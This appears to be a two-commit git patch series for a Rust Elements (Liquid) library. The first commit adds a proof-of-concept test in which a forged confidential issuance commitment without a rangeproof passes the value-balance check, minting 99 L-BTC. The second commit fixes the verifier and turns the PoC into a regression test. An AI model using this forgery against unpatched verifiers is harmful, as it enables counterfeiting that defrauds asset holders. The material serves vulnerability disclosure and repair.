From cb8e6f167f7ec52551acb811847b0d36b645ae3c Mon Sep 17 00:00:00 2001 From: Byron Hambly Date: Mon, 14 Sep 2026 10:45:29 +0200 Subject: [PATCH 1/2] test: reproduce unverified confidential issuance amounts verify_tx_amt_proofs pushes confidential issuance amount commitments into the balance sum without verifying any rangeproof, making the aggregate value-conservation check vacuous for any transaction carrying an issuance. Adds a PoC: 1 L-BTC in, 100 L-BTC out, gap supplied by a raw 99*G_LBTC point in asset_issuance.amount, and a control asserting that removing the forged issuance makes the balance check fail. --- tests/poc_issuance_inflation.rs | 81 +++++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 tests/poc_issuance_inflation.rs diff --git a/tests/poc_issuance_inflation.rs b/tests/poc_issuance_inflation.rs new file mode 100644 index 00000000..d48e5dd5 --- /dev/null +++ b/tests/poc_issuance_inflation.rs @@ -0,0 +1,81 @@ +//! PoC: `Transaction::verify_tx_amt_proofs` accepts confidential *issuance* amount +//! commitments without verifying any rangeproof, letting an attacker satisfy the +//! aggregate balance check while creating value out of thin air. +//! +//! This test builds a transaction that spends 1 L-BTC and outputs 100 L-BTC, +//! with the missing 99 L-BTC supplied by an unverified confidential issuance +//! amount commitment. `verify_tx_amt_proofs` is expected to return `Ok(())`. + +use elements::confidential::{Asset, Nonce, Value}; +use elements::{ + AssetBlindingNonce, AssetEntropy, AssetId, AssetIssuance, LockTime, OutPoint, Script, + Transaction, TxIn, TxOut, TxOutWitness, +}; +use secp256k1_zkp::{Generator, PedersenCommitment, Secp256k1}; + +#[test] +fn confidential_issuance_amount_needs_no_rangeproof() { + let secp = Secp256k1::new(); + let asset = AssetId::LIQUID_BTC; + + // Honest spent UTXO: 1 L-BTC, explicit (so its commitment is 1*G_LBTC). + let spent_utxo = TxOut { + asset: Asset::Explicit(asset), + value: Value::Explicit(1), + nonce: Nonce::Null, + script_pubkey: Script::new(), + witness: TxOutWitness::default(), + }; + + // Forged "confidential issuance amount": the curve point 99*G_LBTC. + // It is not a valid opening of anything meaningful; no rangeproof is + // produced for it (TxInWitness::default() has an EMPTY amount_rangeproof). + let gen = Generator::new_unblinded(&secp, asset.into_tag()); + let forged_issuance_commitment = PedersenCommitment::new_unblinded(&secp, 99, gen); + + let input = TxIn { + previous_output: OutPoint::default(), + asset_issuance: AssetIssuance { + asset_blinding_nonce: AssetBlindingNonce::NEW_ISSUANCE, + asset_entropy: AssetEntropy::NEW_ISSUANCE, + amount: Value::Confidential(forged_issuance_commitment), + inflation_keys: Value::Null, // never touched + }, + ..Default::default() // witness.amount_rangeproof is EMPTY + }; + + // Attacker output: 100 L-BTC, explicit (no rangeproof / surjection proof required). + let output = TxOut { + asset: Asset::Explicit(asset), + value: Value::Explicit(100), + nonce: Nonce::Null, + script_pubkey: Script::new(), + witness: TxOutWitness::default(), + }; + + let tx = Transaction { + version: 2, + lock_time: LockTime::ZERO, + input: vec![input], + output: vec![output], + }; + + // Balance seen by the library: + // in = 1*G_LBTC (spent utxo) + 99*G_LBTC (forged issuance) = 100*G_LBTC + // out = 100*G_LBTC + // Nothing constrains the forged issuance point, so the check passes and the + // tx is reported as value-conserving even though it mints 99 L-BTC. + tx.verify_tx_amt_proofs(&secp, &[spent_utxo.clone()]) + .expect("BUG: library accepted a value-inflating transaction"); + + // CONTROL: the identical tx with the forged issuance removed must be + // rejected, proving the test (and the balance check) is not vacuous and + // that the forged issuance commitment is the only thing making it pass. + let mut control = tx.clone(); + control.input[0].asset_issuance.amount = Value::Null; + assert_eq!( + control.verify_tx_amt_proofs(&secp, &[spent_utxo]), + Err(elements::VerificationError::BalanceCheckFailed), + "control tx without the forged issuance should fail the balance check" + ); +} From 173321e6330336afd3d8386a676f4b13e3fec263 Mon Sep 17 00:00:00 2001 From: Byron Hambly Date: Mon, 14 Sep 2026 10:45:21 +0200 Subject: [PATCH 2/2] blind: verify rangeproofs for confidential issuance amounts verify_tx_amt_proofs pushed confidential issuance amount and inflation keys commitments into the balance sum without verifying any rangeproof. The commitment therefore entered the aggregate sum as an unconstrained curve point, making the value-conservation check satisfiable for an arbitrary transaction carrying an issuance: a relying verifier could be induced to accept a transaction that mints value out of nothing. Verify the accompanying rangeproof against the unblinded issuance generator, mirroring Elements Core's VerifyIssuanceAmount: the proof message is empty for issuances, and the generator is the unblinded generator of the issued asset (resp. reissuance token). A confidential issuance amount without a rangeproof is rejected with VerificationError::RangeProofMissing. Tests: a forged issuance commitment is now rejected, and a legitimately blinded issuance produced by blind_issuances still verifies. --- src/blind.rs | 33 +++++++-- tests/poc_issuance_inflation.rs | 126 +++++++++++++++++++++++--------- 2 files changed, 118 insertions(+), 41 deletions(-) diff --git a/src/blind.rs b/src/blind.rs index 65ae360e..df2b4ace 100644 --- a/src/blind.rs +++ b/src/blind.rs @@ -1102,20 +1102,43 @@ impl Transaction { if inp.has_issuance() { let (asset_id, token_id) = inp.issuance_ids(); let arr = [ - (inp.asset_issuance.amount, asset_id), - (inp.asset_issuance.inflation_keys, token_id), + ( + inp.asset_issuance.amount, + asset_id, + &inp.witness.amount_rangeproof, + ), + ( + inp.asset_issuance.inflation_keys, + token_id, + &inp.witness.inflation_keys_rangeproof, + ), ]; - for (amt, asset) in &arr { + for (amt, asset, rangeproof) in &arr { + // Issuance pseudo-inputs are never asset-blinded: the + // generator is the unblinded generator of the issued + // (or reissuance token) asset. + let gen = Generator::new_unblinded(secp, asset.into_tag()); match amt { Value::Null => {}, Value::Explicit(v) => { - let gen = Generator::new_unblinded(secp, asset.into_tag()); domain.push(gen); let comm = PedersenCommitment::new_unblinded(secp, *v, gen); in_commits.push(comm); } Value::Confidential(comm) => { - let gen = Generator::new_unblinded(secp, asset.into_tag()); + // A confidential issuance amount must be accompanied + // by a rangeproof, verified against the unblinded + // issuance generator, mirroring Elements Core's + // `VerifyIssuanceAmount`. Without this check the + // commitment is an unconstrained term in the balance + // equation below. The rangeproof message is empty + // for issuances (Core passes an empty script). + let rangeproof = rangeproof + .as_ref() + .ok_or(VerificationError::RangeProofMissing(i))?; + rangeproof + .verify(secp, *comm, &[], gen) + .map_err(|e| VerificationError::RangeProofError(i, e))?; domain.push(gen); in_commits.push(*comm); } diff --git a/tests/poc_issuance_inflation.rs b/tests/poc_issuance_inflation.rs index d48e5dd5..1526d07a 100644 --- a/tests/poc_issuance_inflation.rs +++ b/tests/poc_issuance_inflation.rs @@ -1,31 +1,42 @@ -//! PoC: `Transaction::verify_tx_amt_proofs` accepts confidential *issuance* amount -//! commitments without verifying any rangeproof, letting an attacker satisfy the -//! aggregate balance check while creating value out of thin air. +//! Regression tests for unverified confidential issuance amount rangeproofs: +//! `Transaction::verify_tx_amt_proofs` used to push confidential *issuance* +//! amount commitments into the balance sum without verifying any rangeproof, +//! leaving an unconstrained term that made the value-conservation check +//! vacuous for any transaction carrying an issuance. //! -//! This test builds a transaction that spends 1 L-BTC and outputs 100 L-BTC, -//! with the missing 99 L-BTC supplied by an unverified confidential issuance -//! amount commitment. `verify_tx_amt_proofs` is expected to return `Ok(())`. +//! - `forged_issuance_amount_is_rejected` reproduces the attack: 1 L-BTC in, +//! 100 L-BTC out, with the 99 L-BTC gap supplied by a bare curve point equal +//! to 99 times the L-BTC generator in `asset_issuance.amount` and no +//! rangeproof. Verification must now fail. +//! - `blinded_issuance_amount_still_verifies` is the positive control: a +//! properly blinded issuance amount (rangeproof present, produced by the +//! crate's own blinding code) still verifies, so the fix does not break +//! legitimate issuances. use elements::confidential::{Asset, Nonce, Value}; use elements::{ AssetBlindingNonce, AssetEntropy, AssetId, AssetIssuance, LockTime, OutPoint, Script, - Transaction, TxIn, TxOut, TxOutWitness, + Transaction, TxIn, TxOut, TxOutWitness, VerificationError, }; use secp256k1_zkp::{Generator, PedersenCommitment, Secp256k1}; +fn txout(asset: Asset, value: Value) -> TxOut { + TxOut { + asset, + value, + nonce: Nonce::Null, + script_pubkey: Script::new(), + witness: TxOutWitness::default(), + } +} + #[test] -fn confidential_issuance_amount_needs_no_rangeproof() { +fn forged_issuance_amount_is_rejected() { let secp = Secp256k1::new(); let asset = AssetId::LIQUID_BTC; // Honest spent UTXO: 1 L-BTC, explicit (so its commitment is 1*G_LBTC). - let spent_utxo = TxOut { - asset: Asset::Explicit(asset), - value: Value::Explicit(1), - nonce: Nonce::Null, - script_pubkey: Script::new(), - witness: TxOutWitness::default(), - }; + let spent_utxo = txout(Asset::Explicit(asset), Value::Explicit(1)); // Forged "confidential issuance amount": the curve point 99*G_LBTC. // It is not a valid opening of anything meaningful; no rangeproof is @@ -45,37 +56,80 @@ fn confidential_issuance_amount_needs_no_rangeproof() { }; // Attacker output: 100 L-BTC, explicit (no rangeproof / surjection proof required). - let output = TxOut { - asset: Asset::Explicit(asset), - value: Value::Explicit(100), - nonce: Nonce::Null, - script_pubkey: Script::new(), - witness: TxOutWitness::default(), - }; - let tx = Transaction { version: 2, lock_time: LockTime::ZERO, input: vec![input], - output: vec![output], + output: vec![txout(Asset::Explicit(asset), Value::Explicit(100))], }; - // Balance seen by the library: - // in = 1*G_LBTC (spent utxo) + 99*G_LBTC (forged issuance) = 100*G_LBTC - // out = 100*G_LBTC - // Nothing constrains the forged issuance point, so the check passes and the - // tx is reported as value-conserving even though it mints 99 L-BTC. - tx.verify_tx_amt_proofs(&secp, &[spent_utxo.clone()]) - .expect("BUG: library accepted a value-inflating transaction"); - - // CONTROL: the identical tx with the forged issuance removed must be - // rejected, proving the test (and the balance check) is not vacuous and - // that the forged issuance commitment is the only thing making it pass. + // Before the fix this returned Ok(()) and the tx minted 99 L-BTC. + assert_eq!( + tx.verify_tx_amt_proofs(&secp, std::slice::from_ref(&spent_utxo)), + Err(VerificationError::RangeProofMissing(0)), + "forged confidential issuance amount must not be accepted" + ); + + // Non-vacuity control: the same tx with the forged issuance removed still + // fails the aggregate balance check (1 in, 100 out). let mut control = tx.clone(); control.input[0].asset_issuance.amount = Value::Null; assert_eq!( control.verify_tx_amt_proofs(&secp, &[spent_utxo]), - Err(elements::VerificationError::BalanceCheckFailed), + Err(VerificationError::BalanceCheckFailed), "control tx without the forged issuance should fail the balance check" ); } + +#[test] +fn blinded_issuance_amount_still_verifies() { + use elements::confidential::ValueBlindingFactor; + use rand::thread_rng; + use secp256k1_zkp::SecretKey; + + let secp = Secp256k1::new(); + let asset = AssetId::LIQUID_BTC; + + let spent_utxo = txout(Asset::Explicit(asset), Value::Explicit(1)); + + let mut input = TxIn { + previous_output: OutPoint::default(), + asset_issuance: AssetIssuance { + asset_blinding_nonce: AssetBlindingNonce::NEW_ISSUANCE, + asset_entropy: AssetEntropy::NEW_ISSUANCE, + amount: Value::Explicit(10), + inflation_keys: Value::Null, + }, + ..Default::default() + }; + + // Blind the issuance amount: this turns it into a confidential commitment + // and generates the accompanying rangeproof. A zero blinding factor keeps + // the balance simple (explicit outputs of 1 L-BTC + 10 of the new asset). + let mut rng = thread_rng(); + input + .blind_issuances_with_bfs( + &secp, + ValueBlindingFactor::zero(), + ValueBlindingFactor::zero(), + SecretKey::new(&mut rng), + SecretKey::new(&mut rng), + ) + .unwrap(); + assert!(input.asset_issuance.amount.is_confidential()); + + let (issued_asset, _token) = input.issuance_ids(); + + let tx = Transaction { + version: 2, + lock_time: LockTime::ZERO, + input: vec![input], + output: vec![ + txout(Asset::Explicit(asset), Value::Explicit(1)), + txout(Asset::Explicit(issued_asset), Value::Explicit(10)), + ], + }; + + tx.verify_tx_amt_proofs(&secp, &[spent_utxo]) + .expect("a legitimately blinded issuance amount must still verify"); +}